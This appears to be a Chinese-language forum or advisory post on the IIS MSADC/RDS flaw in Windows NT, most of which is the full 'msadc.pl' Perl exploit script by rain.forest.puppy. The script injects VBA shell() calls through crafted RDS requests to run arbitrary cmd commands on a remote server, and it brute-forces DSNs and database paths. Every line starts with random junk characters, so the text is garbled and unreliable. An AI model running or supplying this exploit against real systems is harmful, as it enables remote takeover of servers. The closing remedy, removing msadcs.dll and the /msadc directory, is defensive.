IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
1gH5#_? ]FQ4v.7 涉及程序:
E2%7 v Microsoft NT server
H$\?D+xlf hoSk 描述:
s7T=/SC54 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
2yeq2v !YAkHrF`[0 详细:
H${Ym BG 如果你没有时间读详细内容的话,就删除:
v
mw7H c:\Program Files\Common Files\System\Msadc\msadcs.dll
r|0C G^:C 有关的安全问题就没有了。
UDuKG\_J<y ^!Bpev 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
nE::9Yh8z (}]74Lc 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
"ZT=[&2 关于利用ODBC远程漏洞的描述,请参看:
v-OGY[|97 $0cMrf@ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm =oiY'}%(i "P0o)g+{ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
yf_<o http://www.microsoft.com/security/bulletins/MS99-025faq.asp '_(oa<g :UFf6T? 这里不再论述。
;|9VPv/ o)1wF
X 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
lywcT! < 1\zI#"b ^ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Zj`eR\7~ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
TX;OA"3=\- %'^m6^g; .8.ivfmJh #将下面这段保存为txt文件,然后: "perl -x 文件名"
)@))3 EKwS~G.b! #!perl
X(Ef=:
#
)Q7;)iPY# # MSADC/RDS 'usage' (aka exploit) script
Hk3HzN3 #
9chiu%20 # by rain.forest.puppy
Q"Q|]f* #
q@Q|oB0W$) # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
$Q]`+:g*} # beta test and find errors!
7e}p:Vfp TpMfk7- use Socket; use Getopt::Std;
?e&CbVc4 getopts("e:vd:h:XR", \%args);
'90B),c{ /Tv<
l print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
oHeo]<Fbv 'fK_J}+P if (!defined $args{h} && !defined $args{R}) {
:~6%nFo print qq~
AZ!G-73 Usage: msadc.pl -h <host> { -d <delay> -X -v }
\k;raQR4t* -h <host> = host you want to scan (ip or domain)
!K`;fp! -d <seconds> = delay between calls, default 1 second
Xb6@;G" -X = dump Index Server path table, if available
vs6`oW"{# -v = verbose
/Rt/Efu -e = external dictionary file for step 5
YMqL,&Q{1 rr9HC]63 Or a -R will resume a command session
G)b ]uX 5z El`h ~; exit;}
7g(rJGjtg 5O)Z} $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
>@]E1Qfe if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
;'p0"\SV if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
P=u )Q _ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
nc$?tC9V $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
1d-j_H`s if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
lzuPE,h x-%nnC6e if (!defined $args{R}){ $ret = &has_msadc;
?\^u},HnE| die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
|vEfE{ bh+R9~ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
ed\,FWR . "cmd /c ";
'7_'s1 $in=<STDIN>; chomp $in;
Y]P
$|JW): $command="cmd /c " . $in ;
y>wr $ sU+~#K$b if (defined $args{R}) {&load; exit;}
s,`
n=# UDp"+nS print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
K8e >sU. &try_btcustmr;
fI"`[cA"] CGv(dE,G&] print "\nStep 2: Trying to make our own DSN...";
B_}=v$ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
bM;tQ38* ~(hmiNa; print "\nStep 3: Trying known DSNs...";
})&0e:6 &known_dsn;
|mci-ZT 5|H?L@_9 print "\nStep 4: Trying known .mdbs...";
5HOhk"
&known_mdb;
;5 IS58L X>*zA?: if (defined $args{e}){
#2u-L~n print "\nStep 5: Trying dictionary of DSN names...";
Zvr(c|Q &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Y z%= A.z~wu%( print "Sorry Charley...maybe next time?\n";
a?+) K exit;
RsrZ1dhPvV ?%;uR#4 ##############################################################################
3zh'5qQ kTFN.kQx@ sub sendraw { # ripped and modded from whisker
p&ow\AO sleep($delay); # it's a DoS on the server! At least on mine...
P#EqeO my ($pstr)=@_;
'n>|jw) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$ g1p! die("Socket problems\n");
JTz1M~ if(connect(S,pack "SnA4x8",2,80,$target)){
1
C[#]krh select(S); $|=1;
BDB-OJ print $pstr; my @in=<S>;
fnB-?8K< select(STDOUT); close(S);
h ]MSjC.X return @in;
9)f1CC] } else { die("Can't connect...\n"); }}
xFyMg& !q7M+j4 ##############################################################################
li; P,kg$ )Hev-C" sub make_header { # make the HTTP request
*23 my $msadc=<<EOT
q)@.f. POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
R`
X$@iM User-Agent: ACTIVEDATA
.cu5h Host: $ip
!)LR41>? Content-Length: $clen
WpmypkJA# Connection: Keep-Alive
"rAm6b-` 6] <?+#uQ ADCClientVersion:01.06
J'B; Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
>6<g5ps.n J^t=.-a| --!ADM!ROX!YOUR!WORLD!
^g~-$ t<! Content-Type: application/x-varg
e=2;z Content-Length: $reqlen
Ulktd^A\ 75^-93 EOT
jhg!K.A ; $msadc=~s/\n/\r\n/g;
mZq*o<kTA return $msadc;}
=8tduB !gT6So ##############################################################################
!;R{- ?Bh} sub make_req { # make the RDS request
~t#'X8.) my ($switch, $p1, $p2)=@_;
qqkZbsN my $req=""; my $t1, $t2, $query, $dsn;
lgnF\) -lAA,}&+! if ($switch==1){ # this is the btcustmr.mdb query
rylllJz|L: $query="Select * from Customers where City=" . make_shell();
8#kFS@ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
,t)mCgbcO $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Z?v9ub~% SM^6+L"BE elsif ($switch==2){ # this is general make table query
y()#FRp7 $query="create table AZZ (B int, C varchar(10))";
O+'Pq,hn $dsn="$p1";}
HP?e?3.T A:p0p^* elsif ($switch==3){ # this is general exploit table query
/&kTVuN"( $query="select * from AZZ where C=" . make_shell();
,'ndQ{\9 $dsn="$p1";}
FPcgQ
v;p PE4{;|a } elsif ($switch==4){ # attempt to hork file info from index server
C?E;sRr0 $query="select path from scope()";
@${!C\([1 $dsn="Provider=MSIDXS;";}
FE_n+^|k< ;9prsvf
elsif ($switch==5){ # bad query
y ruN5 $query="select";
'z!I#Y!Y $dsn="$p1";}
%!eK"DKG^ x"N,oDs $t1= make_unicode($query);
:X;8$.z $t2= make_unicode($dsn);
4vy!'r@ $req = "\x02\x00\x03\x00";
|d,1mmv@K $req.= "\x08\x00" . pack ("S1", length($t1));
g[eI-J+F $req.= "\x00\x00" . $t1 ;
S++}kR);
$req.= "\x08\x00" . pack ("S1", length($t2));
ZZeqOu7^ $req.= "\x00\x00" . $t2 ;
g5Hs= c5=\ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
b LxV return $req;}
9Y/c<gbY HVk3F|]V ##############################################################################
I/Vlw- <p<gx*% sub make_shell { # this makes the shell() statement
z?yADYr9 return "'|shell(\"$command\")|'";}
$'&`k,a3|P bBDgyFSI< ##############################################################################
Rf8|-G-}# H5qa7JMZ sub make_unicode { # quick little function to convert to unicode
_
-?)-L&g my ($in)=@_; my $out;
!_c<j4O for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
6.By)L return $out;}
@<w$QD vn
kktD'n ##############################################################################
8`^I.tD 2&=;$2?} sub rdo_success { # checks for RDO return success (this is kludge)
]jy6C'Mp my (@in) = @_; my $base=content_start(@in);
1x\%VtO>\b if($in[$base]=~/multipart\/mixed/){
4uTYuaCNs return 1 if( $in[$base+10]=~/^\x09\x00/ );}
+J#H9>To! return 0;}
ETtK%%F0 <89js87 ##############################################################################
\x|(`;{ {yfG_J sub make_dsn { # this makes a DSN for us
yyiZV\ / my @drives=("c","d","e","f");
[F6=JZ print "\nMaking DSN: ";
3z5,4ps foreach $drive (@drives) {
t[^}/
S print "$drive: ";
X@\! \ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
YjsaTdZ!& "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
"5>p]u> . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
v3hNvcMpf $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
;vd%=vR return 0 if $2 eq "404"; # not found/doesn't exist
@9QHv if($2 eq "200") {
0<o#;ZQ] foreach $line (@results) {
1`h`-dqr# return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
xeu] X|, } return 0;}
n#x{~oQc 2o/AH \=2 ##############################################################################
MiRMjQ2 4>,
<b1Y sub verify_exists {
S&]JY my ($page)=@_;
8LkC/ my @results=sendraw("GET $page HTTP/1.0\n\n");
Pp26UWW return $results[0];}
Omh(UHZBB IO fo]p- ##############################################################################
~v<r\8`OI2 9{>m04888 sub try_btcustmr {
Nf$Y-v?i my @drives=("c","d","e","f");
g\X"E>X my @dirs=("winnt","winnt35","winnt351","win","windows");
x.45!8Zb g3Ff<P P foreach $dir (@dirs) {
RtF_p
{s print "$dir -> "; # fun status so you can see progress
b@5bN\"x$ foreach $drive (@drives) {
qAG0t{K print "$drive: "; # ditto
~_h4|vG $reqlen=length( make_req(1,$drive,$dir) ) - 28;
ty7a&>G $reqlenlen=length( "$reqlen" );
)iEK7d^- $clen= 206 + $reqlenlen + $reqlen;
.4?M.Z4[ op}x}Ioz my @results=sendraw(make_header() . make_req(1,$drive,$dir));
}F@`A?k if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
YDDwvk
H else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
;rk}\M$+ JU"!qXQr ##############################################################################
bC)<AG@Z\ C#vh2' sub odbc_error {
Mu{mj4Y{ my (@in)=@_; my $base;
E!ZDqq my $base = content_start(@in);
v&uIxFCR if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
C~6aX/: $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
[*50Ng>P` $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
b7"pm)6 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
SHhg&~B return $in[$base+4].$in[$base+5].$in[$base+6];}
A
#ZaXu/:X print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
*d(wOl5[ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
a{]1H4+bQ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
hBN!!a|l FJ#V"|} ##############################################################################
_|~2i1Ms, DhB:8/J sub verbose {
E9
q8tE} my ($in)=@_;
g#Yqw return if !$verbose;
~1}NQa( print STDOUT "\n$in\n";}
vwP516EM 6
rmK_Y ##############################################################################
deTUfbd' GJ?rqmbL sub save {
Pyk~V)~M my ($p1, $p2, $p3, $p4)=@_;
aeP4%h open(OUT, ">rds.save") || print "Problem saving parameters...\n";
~~kIA"U print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
r:YAn^Lg close OUT;}
>.M
`Fz. YBg\L$|n ##############################################################################
1R,n[`}h ty/jTo} sub load {
MR8-xO'w my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
x}F.<` open(IN,"<rds.save") || die("Couldn't open rds.save\n");
{V:?r @p=<IN>; close(IN);
b_][Jye&P $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
s{A-K5S $target= inet_aton($ip) || die("inet_aton problems");
A$|> Jt print "Resuming to $ip ...";
Npq=jlj $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
]c$%;!ZE if($p[1]==1) {
]>:%:-d6 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
s31^9a $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
~r@'k UXKK my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
qf7.Sh if (rdo_success(@results)){print "Success!\n";}
C'mmo&Pd else { print "failed\n"; verbose(odbc_error(@results));}}
V ;>{-p elsif ($p[1]==3){
r+
vtKb if(run_query("$p[3]")){
ir/ 2/
E print "Success!\n";} else { print "failed\n"; }}
~\XB' elsif ($p[1]==4){
d9sgk3K if(run_query($drvst . "$p[3]")){
x6F\|nb print "Success!\n"; } else { print "failed\n"; }}
!.p! exit;}
|a'Q^aT J'2R-CI, ##############################################################################
i?|K+"=D :B"'49Q` sub create_table {
Cr(pN[, my ($in)=@_;
i 0L7`TB $reqlen=length( make_req(2,$in,"") ) - 28;
hW/*]7AM^ $reqlenlen=length( "$reqlen" );
8l)l9;4 6 $clen= 206 + $reqlenlen + $reqlen;
b8QW^Z my @results=sendraw(make_header() . make_req(2,$in,""));
E8IWHh_ return 1 if rdo_success(@results);
$\a;?>WA" my $temp= odbc_error(@results); verbose($temp);
Bt.W_p return 1 if $temp=~/Table 'AZZ' already exists/;
tD>m%1'& return 0;}
q9Fc0(&Vf @W^g(I(w ##############################################################################
/mr&Y}7T Z$[A.gD4 sub known_dsn {
BH*vsxe # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
3ON]c13 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
v[lytX4) "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
BNzL+"W "banner", "banners", "ads", "ADCDemo", "ADCTest");
n1$##=wK] R HF;AX n foreach $dSn (@dsns) {
R[#5E|` `9 print ".";
\ iP[iE= next if (!is_access("DSN=$dSn"));
zBc7bbK if(create_table("DSN=$dSn")){
s"a*S\a;b print "$dSn successful\n";
P,wFib^1 if(run_query("DSN=$dSn")){
XY%8yII6 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
iUl{_vb print "Something's borked. Use verbose next time\n";}}} print "\n";}
XFBk:~}sI /$q;-/DnTZ ##############################################################################
YQ?|Vb
U gg8T],s1!a sub is_access {
W#??fae my ($in)=@_;
3bPVKsY $reqlen=length( make_req(5,$in,"") ) - 28;
}Efp{E $reqlenlen=length( "$reqlen" );
O4-UVxv} $clen= 206 + $reqlenlen + $reqlen;
q
F}5mUcZ4 my @results=sendraw(make_header() . make_req(5,$in,""));
rj{'X / my $temp= odbc_error(@results);
hO(HwG?8t verbose($temp); return 1 if ($temp=~/Microsoft Access/);
d2(eX\56Z return 0;}
)bcMKZ kXG+zsT ##############################################################################
^,`Lt * AM Rj N; sub run_query {
6^
KDc my ($in)=@_;
I>P</TE7 $reqlen=length( make_req(3,$in,"") ) - 28;
&[3!Lk`.0 $reqlenlen=length( "$reqlen" );
EA8(_} $clen= 206 + $reqlenlen + $reqlen;
Jl^oDW my @results=sendraw(make_header() . make_req(3,$in,""));
8zpK;+ return 1 if rdo_success(@results);
'TbA^U[ my $temp= odbc_error(@results); verbose($temp);
)6AOP-M.9 return 0;}
W<9GwMU T!;<Fy"p ##############################################################################
G\P*zzSq SQt$-<>4\ sub known_mdb {
{= z%('^ my @drives=("c","d","e","f","g");
s)To# my @dirs=("winnt","winnt35","winnt351","win","windows");
1pz6e8p:m my $dir, $drive, $mdb;
otPEJ^W& my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
`|PxEif+J AJmS1 B # this is sparse, because I don't know of many
(/hF~A my @sysmdbs=( "\\catroot\\icatalog.mdb",
eueXklpg+ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
M)b`~|Wt "\\system32\\certmdb.mdb",
? th+~dE "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
&1Az`[zKGW OB"QWdh my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
oxad}Y "\\cfusion\\cfapps\\forums\\forums_.mdb",
m:"2I&0)WM "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
g@j:TQM_0 "\\cfusion\\cfapps\\security\\realm_.mdb",
$~`(!pa: "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Mz"kaO "\\cfusion\\database\\cfexamples.mdb",
esLY1c%"/ "\\cfusion\\database\\cfsnippets.mdb",
m\~[^H~g "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
#b8/gRfS "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
:z"Uw* "\\cfusion\\brighttiger\\database\\cleam.mdb",
E8-p
,e, "\\cfusion\\database\\smpolicy.mdb",
3^`bf=R "\\cfusion\\database\cypress.mdb",
w=f8UtY9@A "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
^Xb!dnT.*a "\\website\\cgi-win\\dbsample.mdb",
JP@UvDE| "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
p=r{ODw#3 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
5-&P4 ); #these are just
| _S9U| foreach $drive (@drives) {
b,K1EEJ foreach $dir (@dirs){
RF6|zCWuI foreach $mdb (@sysmdbs) {
Dxu)by print ".";
-><_J4 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
T]i~GkD\ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
2.:b if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
f<zh-Gq print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
B!-W765Y } else { print "Something's borked. Use verbose next time\n"; }}}}}
j#~4JGZt 54 8@._-S foreach $drive (@drives) {
dm.3. xXq foreach $mdb (@mdbs) {
LpF6e9V\Wp print ".";
=l_eliM/ if(create_table($drv . $drive . $dir . $mdb)){
&GbCJ print "\n" . $drive . $dir . $mdb . " successful\n";
=]Ek12. if(run_query($drv . $drive . $dir . $mdb)){
q$HBPR4h print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Rd#,Tl\ } else { print "Something's borked. Use verbose next time\n"; }}}}
i>w>UA*t }
+oiPj3 v=W%|iZ ##############################################################################
Y<M}'t Rdv"Aj: sub hork_idx {
yBr{nFOgdY print "\nAttempting to dump Index Server tables...\n";
uZ'5&k96T print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
XM_S" $reqlen=length( make_req(4,"","") ) - 28;
h2tzv~ $reqlenlen=length( "$reqlen" );
\zoJr) $clen= 206 + $reqlenlen + $reqlen;
iu:e> r my @results=sendraw2(make_header() . make_req(4,"",""));
}- +;{u if (rdo_success(@results)){
VSSiuo'5w my $max=@results; my $c; my %d;
%R_8`4IQ for($c=19; $c<$max; $c++){
=|G PSRQ $results[$c]=~s/\x00//g;
5N[Y2 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
M.l;!U!} $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
*'`-plS7 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
3Yr $d{"$1$2"}="";}
e~}+.B0 foreach $c (keys %d){ print "$c\n"; }
\(A>~D8Fo } else {print "Index server doesn't seem to be installed.\n"; }}
?s_q|d_ Lv5AtZl} ##############################################################################
f.8L<<5 c @r
.K>+1 sub dsn_dict {
OrRve$U*| open(IN, "<$args{e}") || die("Can't open external dictionary\n");
g xLA1]>{ while(<IN>){
E*'O)) $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
p~e6ah?1 next if (!is_access("DSN=$dSn"));
Z2LG/R if(create_table("DSN=$dSn")){
{!EbGIh print "$dSn successful\n";
"%Rx;xw| if(run_query("DSN=$dSn")){
P|6m%y print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
,*bxNs'/ print "Something's borked. Use verbose next time\n";}}}
}y0UyOa{C print "\n"; close(IN);}
#G\)ZheG u{_T,k<! ##############################################################################
; aMMIp WFh!re%Z sub sendraw2 { # ripped and modded from whisker
|epe;/ sleep($delay); # it's a DoS on the server! At least on mine...
8p!PR^OM@ my ($pstr)=@_;
:`uo]B" socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
c[;I\g die("Socket problems\n");
>uUbWKn3 if(connect(S,pack "SnA4x8",2,80,$target)){
0_Y;r{3m" print "Connected. Getting data";
#ob">R open(OUT,">raw.out"); my @in;
hxtu^E/ select(S); $|=1; print $pstr;
U 26Iz while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
/Ia#udkNMp close(OUT); select(STDOUT); close(S); return @in;
*F9uv)[kz } else { die("Can't connect...\n"); }}
fNlUc k/t4 ##############################################################################
6DExsB~@ eH6#'M4+\ sub content_start { # this will take in the server headers
TRQva8d? my (@in)=@_; my $c;
KpK'?WhX7^ for ($c=1;$c<500;$c++) {
T[7-3[w<) if($in[$c] =~/^\x0d\x0a/){
lw Kr$X4 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
ME7JU|@Z else { return $c+1; }}}
D)mqe-%1 return -1;} # it should never get here actually
'7xY,IY .vb*|So ##############################################################################
Q"(i yX)2
hj:s sub funky {
x2nNkd0h
my (@in)=@_; my $error=odbc_error(@in);
5&VLq if($error=~/ADO could not find the specified provider/){
aFbA=6 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
GCIm_
n exit;}
fa6L+wt4O if($error=~/A Handler is required/){
_H;ObTiB print "\nServer has custom handler filters (they most likely are patched)\n";
0ogTQ`2Z: exit;}
9x:c"S* if($error=~/specified Handler has denied Access/){
$w65/ print "\nServer has custom handler filters (they most likely are patched)\n";
:|d3BuY exit;}}
b _6j77 %f^TZ,q$ ##############################################################################
b0
5h, {0[qERj"z sub has_msadc {
*W0`+#Dcv my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
bS0LjvY9g my $base=content_start(@results);
>uI|S return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
Kj}}O2 return 0;}
}F\0Bl& ap=_odW~p ########################
rfK%%- oinF<-( 6T)D6;@L 解决方案:
KBOxr5w 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
2'/ ip@ 2、移除web 目录: /msadc